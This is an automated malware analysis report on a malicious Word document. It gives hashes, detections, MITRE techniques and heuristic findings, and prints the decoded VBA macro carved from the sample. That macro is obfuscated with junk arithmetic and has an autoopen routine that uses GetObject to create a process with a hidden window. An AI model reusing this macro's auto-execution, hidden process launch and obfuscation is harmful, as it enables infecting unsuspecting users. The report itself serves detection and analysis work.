Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8eaa97068eebac20…

MALICIOUS

Office (OLE)

162.2 KB Created: 2019-03-22 12:08:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 3d4e1ab4f58b9dc79a4a0637db8406e0 SHA-1: 71c7c35b225f8fc07e20704b4752af31c56ecc2e SHA-256: 8eaa97068eebac201fad10ae4f60ed104c9a506a894bc6306b980f3eecee1d6e
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The 'autoopen' macro is present and uses a GetObject call, indicating an attempt to execute code. The ClamAV detection 'Doc.Malware.Sagent-6906083-0' further confirms its malicious nature. The VBA macro is likely responsible for downloading and executing a secondary payload, a common technique for initial compromise.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-6906083-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6906083-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12808 bytes
SHA-256: d57d56c7b5da4c858fd0532695326988ad62d96df5515972c2a539c9f05b6b5a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iCoXoA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nABAAA"
Attribute VB_Base = "0{CEDBB79C-4319-4E09-B37E-5B3723ACCAE1}{37811027-F5C7-47C3-97E9-AC32AAF904F6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jAAAXAQw"
Sub autoopen()
On Error Resume Next
   If C4oA4AAx = ICAAAw Then
   hABXZABA = CLng(aZZX_AA)
   fcXcZAA = (171133444 + Round(bA1GAD * Tan(723201857 / Chr(181524204 / CDbl(IGQGXZ) * wZQAwBw / CDbl(9333851)))) * 443633441 * Atn(421070217 / Oct(86437037) - 545440901 * Int(ICUAXBo)) * (833287475 - Atn(PAZCAQAc)))
   KA4ABA = Int(v1D1D4Z - d1BUAAQ4 - 317009637 * Int(71727435))
End If
   If T4k1DBA = OXAQAcQA Then
   kUoQxBo = CLng(Z_AAG1A)
   wXGAUxo = (238240624 + Round(b4cBUDA * Tan(677754231 / Chr(491761394 / CDbl(YXAA1A) * LZxBAGcc / CDbl(897952246)))) * 999329629 * Atn(880461657 / Oct(683522585) - 795234686 * Int(GAZABA)) * (61266454 - Atn(TQZcAA)))
   sDkAZxBA = Int(lG4D1C - qAAAAAoo - 216386236 * Int(589149634))
End If
Set TQUA_UU = GetObject(nABAAA.Tag + nABAAA.mkDAoUC + nABAAA.Tag)
   If jAkcxDA = RAk_Uc Then
   RAABAAX1 = CLng(HAAAA_kX)
   LxAXUA_ = (153855580 + Round(zAU_xZkB * Tan(437269323 / Chr(282845569 / CDbl(VAkA4UGG) * qcBAAA / CDbl(437131360)))) * 993750127 * Atn(667014853 / Oct(33367749) - 33280388 * Int(ZUA4AABA)) * (862721803 - Atn(fUDDAQZ)))
   mAAAUoZ = Int(joAQAAC - BAA_CA - 47039082 * Int(723508050))
End If
   If i1kwAA = wCAcUA Then
   iXQAGxQZ = CLng(UXQXkA)
   QDAQCAAx = (115839633 + Round(zAAA4U * Tan(957242278 / Chr(177483085 / CDbl(hQAAkoA) * rAUUBQDA / CDbl(244955810)))) * 87920027 * Atn(92995166 / Oct(625869819) - 896096489 * Int(JwAxXZ)) * (167489001 - Atn(IGAX_ABA)))
   UQ1DAUZ = Int(E1oAc1oA - MwGGABAC - 920689984 * Int(658948484))
End If
TQUA_UU.ShowWindow = 753253 - 753253
   If oAAUA_ = IQwQCo Then
   dxQDCBQ = CLng(FDAGQA)
   zoADCA = (693144751 + Round(WAXCww * Tan(549050999 / Chr(257674803 / CDbl(KUAwB_AQ) * bAXA1c / CDbl(1314033)))) * 76635420 * Atn(20200237 / Oct(621309545) - 375129832 * Int(lk4U1oA)) * (764184476 - Atn(hAQAG1AA)))
   MUAc_Gw = Int(MAAkAAk - sACUDAQA - 758851238 * Int(196013254))
End If
   If hDUCU4_ = CA1AUG Then
   hk1AABQ = CLng(LBAQBQ)
   Mo_BBX = (21674619 + Round(NA_XAAk * Tan(670624121 / Chr(407815107 / CDbl(JBQoBAD) * fXUABAAZ / CDbl(805433428)))) * 58163891 * Atn(934706513 / Oct(271982624) - 109868316 * Int(Y4AAZXB)) * (446514270 - Atn(zUABUAA)))
   rAGAAQ = Int(sD_ADAC - GAkGAA - 17405296 * Int(995022389))
End If
GetObject(nABAAA.Tag + nABAAA.HCAxA1 + nABAAA.Tag). _
Create nABAAA.Tag + nABAAA.bDkBD_A + nABAAA.Tag + nABAAA.oGow_D + nABAAA.Tag + nABAAA.Tag + nABAAA.XoZBCX + nABAAA.Tag + nABAAA.Tag + nABAAA.LkX14U1 + nABAAA.Tag + nABAAA.sxACG_ + nABAAA.Tag, qA_AxA, TQUA_UU, nABAAA.Tag
   If VXAXUAx = zAQBcA Then
   kZAAUQA = CLng(LDAAw1o)
   f_ABAcZB = (636371413 + Round(VBADDX1A * Tan(845128818 / Chr(714354939 / CDbl(TAACUAUc) * zAC1AAAw / CDbl(838125011)))) * 911715284 * Atn(312264163 / Oct(120157686) - 229498870 * Int(cAAcUX)) * (274192143 - Atn(wZAAACA)))
   fBoADx = Int(foU4AAA - FAcC4U - 175361442 * Int(387153467))
End If
   If X4cD_AAU = jAADCA Then
   WUQUQ_ = CLng(j_AA1cQ)
   JAZ_DCx = (808929707 + Round(D1CAckZ * Tan(576134688 / Chr(915307020 / CDbl(CZxAABD4) * hAZQwZA / CDbl(55795398)))) * 455137994 * Atn(511684719 / Oct(900150813) - 402445910 * Int(GGxGUA)) * (420351788 - Atn(skCZAXD)))
   WCAAAA = Int(iQ_oBA4 - ZQUoAwAA - 628560289 * Int(647193603))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/8777c20b9e194d3cb13c61383357dcf6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/
... (truncated)

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